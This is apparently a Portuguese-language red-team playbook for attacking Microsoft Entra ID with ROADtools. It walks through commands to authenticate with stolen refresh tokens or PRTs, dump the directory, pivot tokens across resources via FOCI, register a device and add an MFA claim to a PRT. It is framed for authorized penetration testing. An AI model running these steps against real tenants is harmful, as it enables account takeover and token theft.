Atacando o Entra ID com ROADtools
Uso autorizado apenas: ROADtools interage com inquilinos ativos do Microsoft Entra ID (Azure AD) e pode registrar dispositivos, criar e trocar tokens e enumerar objetos de diretório. Use-o somente contra inquilinos que você possui ou para os quais possui autorização explícita por escrito para testar. O acesso não autorizado a um inquilino de nuvem é ilegal.
Visão Geral
ROADtools (por Dirk-jan Mollema) é o kit ofensivo de facto para Microsoft Entra ID. Possui dois componentes principais:
- ROADrecon — autentica-se ao Entra ID, coleta todo o diretório em um banco de dados SQLite local via API Graph do Azure AD e serve uma GUI Angular para explorar usuários, grupos, funções, aplicativos, service principals, políticas de acesso condicional e objetos de dispositivo offline. Um sistema de plugins exporta para BloodHound e analisa políticas de CA.
- roadtx (ROADtools Token eXchange) — adquire e troca tokens emitidos pelo Entra ID através de vários fluxos OAuth (ROPC, código de dispositivo, código de autorização, troca de refresh token, app federado), realiza registro de dispositivo e lida com operações de Primary Refresh Token (PRT), incluindo SSO baseado em PRT e criação de cookies. Sua consciência de FOCI (Família de IDs de Cliente) permite que um refresh token para um cliente próprio da Microsoft seja trocado por outro recurso sem reautenticação.
Juntos, eles cobrem a fase de Descoberta contra identidade em nuvem: enumerar o inquilino (T1087.004 Descoberta de Conta: Conta em Nuvem) e obter/manipular os tokens necessários para acessar Microsoft Graph, Azure Resource Manager e outros recursos. O banco de dados offline do ROADrecon torna o reconhecimento furtivo e rápido; o roadtx torna o roubo de tokens, abuso de PRT e pivô entre recursos algo prático.
Quando Usar
- Durante um red-team ou teste de penetração em nuvem Azure/Entra ID autorizado.
- Quando você possui uma credencial de ponto de apoio (foothold), refresh token ou PRT e precisa enumerar o inquilino.
- Quando precisa trocar um token de um recurso (ex.: Azure CLI) para outro (ex.: Microsoft Graph).
- Ao validar que políticas de acesso condicional, conformidade de dispositivo e controles de token realmente restringem um atacante.
- Ao mapear caminhos de ataque no Entra (exportar para BloodHound para análise de grafos).
Pré-requisitos
- Autorização por escrito e escopo definido para o inquilino alvo.
- Uma credencial inicial: nome de usuário/senha (sem fluxos de MFA), uma sessão de código de dispositivo, um token de acesso/refresh, ou um PRT de dispositivo registrado.
- Python 3.7+ (fluxos Selenium do roadtx precisam de geckodriver/Firefox compatível).
# Instalação principal (roadlib é uma dependência compartilhada, baixada automaticamente)
python -m pip install roadrecon
python -m pip install roadtx
# Verificar
roadrecon --help
roadtx --help
Objetivos
- Autenticar no Entra ID através do fluxo apropriado (código de dispositivo preferido para MFA).
- Coletar todo o diretório com ROADrecon e analisá-lo na GUI.
- Exportar o diretório para BloodHound e executar plugins de análise de políticas de CA.
- Adquirir tokens com roadtx e trocar refresh tokens entre recursos/clientes.
- Demonstrar SSO baseado em PRT e documentar o acesso resultante.
Mapeamento MITRE ATT&CK
| ID | Tática | Nome Oficial da Técnica | Papel nesta skill |
|---|---|---|---|
| T1087.004 | Descoberta | Descoberta de Conta: Conta em Nuvem | ROADrecon enumera usuários/contas do inquilino |
| T1069.003 | Descoberta | Descoberta de Grupos de Permissão: Grupos em Nuvem | ROADrecon enumera grupos e funções do Entra |
| T1538 | Descoberta | Painel de Serviços em Nuvem | Exploração da GUI da configuração do inquilino |
| T1550.001 | Defesa de Evasão / Movimentação Lateral | Usar Material de Autenticação Alternativo: Token de Acesso de Aplicativo | Troca de refresh token entre recursos com roadtx |
| T1528 | Acesso a Credenciais | Roubar Token de Acesso de Aplicativo | Aquisição de PRT/token pelo roadtx |
Fluxo de Trabalho
Passo 1: Autenticar com ROADrecon
Escolha o fluxo que corresponde ao seu ponto de apoio. Código de dispositivo suporta MFA; ROPC (-u/-p) não suporta.
# Nome de usuário/senha (legado, sem MFA)
roadrecon auth -u [email protected] -p 'Password123!'
# Fluxo de código de dispositivo (suporta MFA)
roadrecon auth --device-code
# A partir de um token de acesso ou refresh roubado
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>
# A partir de um PRT (com chave de sessão) para acesso nível SSO
roadrecon auth --prt <prt> --prt-sessionkey <session_key>
A autenticação escreve .roadtools_auth no diretório de trabalho.
Passo 2: Coletar o diretório
# Coleta completa em roadrecon.db (padrão)
roadrecon gather
# Incluir detalhes de MFA/métodos de autenticação (requer função privilegiada)
roadrecon gather --mfa
Passo 3: Explorar na GUI
roadrecon gui
# Navegue para http://127.0.0.1:5000 — usuários, grupos, funções, aplicativos,
# service principals, dispositivos e políticas de acesso condicional, tudo offline.
Passo 4: Executar plugins de análise
# Analisar políticas de acesso condicional
roadrecon plugin policies -h
roadrecon plugin policies
# Exportar os dados coletados para um formato importável pelo BloodHound
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound
Passo 5: Adquirir tokens com roadtx
# ROPC: obter um token do Microsoft Graph para o cliente Azure CLI
roadtx gettokens -u [email protected] -p 'Password123!' -c azcli -r msgraph
# Autenticação interativa estilo código de dispositivo para o cliente Teams ao Graph
roadtx interactiveauth -c msteams -r msgraph
# A partir de um refresh token existente
roadtx gettokens --refresh-token <refresh_token> -r msgraph
Os tokens são escritos em .roadtools_auth (use --tokens-stdout para imprimir).
Passo 6: Trocar refresh tokens entre recursos (pivô FOCI)
Um refresh token FOCI obtido para um cliente próprio da Microsoft pode ser trocado por outro recurso sem reautenticação.
# Converter o refresh token armazenado em um token do Azure Resource Manager
roadtx refreshtokento -r azrm
# Converter em um token do Graph com escopo via cliente Teams
roadtx refreshtokento -c msteams -r msgraph
# Encontrar quais clientes próprios possuem um determinado escopo
roadtx getscope -s https://graph.microsoft.com/mail.read --foci
Passo 7: Registro de dispositivo e SSO baseado em PRT
# Registrar um dispositivo (virtual) no inquilino
roadtx device -n redteam-device
# Solicitar um PRT usando a chave/certificado do dispositivo e credenciais do usuário
roadtx prt -u [email protected] -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem
# Usar o PRT para autenticar um cliente a um recurso (nível SSO)
roadtx prtauth -c msteams -r msgraph
# Enriquece um PRT com uma declaração MFA interativa
roadtx prtenrich -u [email protected]
Passo 8: Inspecionar tokens
# Decodificar e imprimir as declarações do token armazenado/fornecido
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .
Ferramentas e Recursos
| Ferramenta | Propósito | Fonte Principal |
|---|---|---|
| ROADtools (repositório) | Visão geral + wiki do kit | https://github.com/dirkjanm/ROADtools |
| Wiki ROADrecon | Uso de auth/gather/gui/plugin | https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon |
| wiki roadtx | Troca de tokens + fluxos PRT/dispositivo | https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx) |
| BloodHound CE | Análise de grafos dos dados exportados do Entra | https://github.com/SpecterOps/BloodHound |
| Plataforma de identidade Microsoft | Referência de tokens/fluxos | https://learn.microsoft.com/entra/identity-platform/ |
Critérios de Validação
- Autenticado no inquilino alvo através de um fluxo autorizado;
.roadtools_authcriado. - Diretório coletado em
roadrecon.db(com--mfaonde a função permite). - GUI explorada; usuários, grupos, funções, aplicativos, políticas de CA revisados.
- Plugins de políticas de CA e BloodHound executados; dados exportados.
- Tokens adquiridos com roadtx para pelo menos um recurso.
- Troca de refresh token para um segundo recurso demonstrada (pivô FOCI).
- Dispositivo registrado e SSO baseado em PRT demonstrado (quando no escopo).
- Declarações de token inspecionadas com
roadtx describe. - Descobertas e acesso documentados para o relatório do engajamento.